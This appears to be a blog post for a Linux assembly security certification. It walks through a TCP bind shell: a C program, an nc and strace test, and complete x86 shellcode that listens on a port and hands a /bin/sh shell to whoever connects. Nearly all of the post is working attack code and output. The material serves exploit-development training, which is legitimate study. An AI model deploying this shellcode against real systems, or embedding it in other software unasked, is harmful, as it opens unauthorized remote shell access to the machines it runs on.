#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
int main() {
int listenfd = 0, connfd = 0;
int ret = 0;
struct sockaddr_in serv_addr;
// Create an un-named socket. returns socket descriptor
listenfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(4444);
bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
// Listen on the created socket for maximum 1 client connection
listen(listenfd, 1);
// Sleep waiting for client requests
connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
printf("Created accept socket: %d\n", connfd);
// Duplicate stdin, stdout, stderr
ret = dup2(connfd, 0);
if (-1 == ret) {
printf("STDIN duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 1);
if (-1 == ret) {
printf("STDOUT duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 2);
if (-1 == ret) {
printf("STDERR duplication failed: %s\n", strerror(errno));
return 1;
}
// Replace process image
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL; // Needs to ne a NULL terminated list of args
ret = execve(args[0], args, NULL);
if (-1 == ret) {
printf("Execve failed: %s\n", strerror(errno));
return 1;
}
return 0;
}
We can test and see we get a shell:
$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp $ ./shell_bind_tcp & [1] 4528 $ nc -nvv 127.0.0.1 4444 Connection to 127.0.0.1 4444 port [tcp/*] succeeded! Created accept socket: 4 whoami livWe can then analyse the system calls necessary to bind the socket, listen for connections and execute the shell:
$ strace ./shell_bind_tcp
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
The next step is to reproduce these system calls in assembly and get the shellcode:
; SLAE - Assignment 1
;
; Shell Bind TCP
;
global _start
section .text
_start:
; Linux Syscall Reference
; http://syscalls.kernelgrok.com/
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push ecx ; NULL terminate args list
mov cl, 6 ; IPPROTO_TCP (6)
push ecx
xor ecx, ecx
mov cl, 1 ; SOCK_STREAM (1) - in socket.h
push ecx
xor ecx, ecx
mov cl, 2 ; PF_INET (2) - IP PROTO FAMILY
push ecx
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 1 ; socketcall type of call: SYS_SOCKET (1)
push 102
pop eax ; socketcall syscall
int 0x80
mov edx, eax ; listenfd is returned in eax. Save into edx
; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
; sin_addr=inet_addr("0.0.0.0")}, 16)
;struct sockaddr_in {
; short sin_family; // e.g. AF_INET, AF_INET6
; unsigned short sin_port; // e.g. htons(3490)
; struct in_addr sin_addr; // see struct in_addr, below
; char sin_zero[8]; // zero this if you want to
;};
;struct in_addr {
; unsigned long s_addr; // load with inet_pton()
;};
xor ecx, ecx ; Construct sockaddr structure on the stack
push ecx ; inet_addr - 0.0.0.0 - INADDR_ANY
push word <PORT>; 16 bits - port number
push word 2 ; family - AF_INET (2)
mov ecx, esp ; pointer to args
push byte 0x10 ; Address length - 16 bytes
push ecx ; Pointer to sockaddr_in structure
push edx ; listenfd from socket call
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 2 ; socketcall type of call: SYS_BIND (2)
xor eax, eax
mov al, 102 ; socketcall syscall
int 0x80
; 3. listen(listenfd, 1)
push 1 ; max connections
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 4
pop ebx ; SYS_LISTEN (4)
push 102
pop eax ; socketcall syscall
int 0x80
; 4. accept(listenfd, 0, NULL) = connfd
xor ecx, ecx
push ecx ; NULL
push ecx ; 0
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 5
pop ebx ; SYS_ACCEPT = 5
push 102
pop eax ; socketcall syscall
int 0x80 ; connfd will be in eax
mov edx, eax ; save new connection descriptor
; 5. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
push 2
pop ecx ; ecx - newfd
mov ebx, edx ; edx - connfd, ebx - oldfd
dup_loop:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
jns dup_loop ; exit when signed (-1)
; 6. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f ; 'hs//'
push 0x6e69622f ; 'nib/
mov ebx, esp ; EBX - 1st param - NULL terminated filename
push eax ; EDX - 3rd param - NULL terminated list of env variables
mov edx, esp ; NULL terminator must be set before setting the 2nd param!
push ebx ; ECX - 2nd param - array of argument strings
mov ecx, esp
mov al, 11 ; execve syscall
int 0x80
To make the port number easily configurable, I've made a bash wrapper, which replaces PORT with a command line argument and then assembles and links the asm source
The complete source files, wrapper script and test shellcode can be found in a git repository at:
SLAE
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE- 449
No comments:
Post a Comment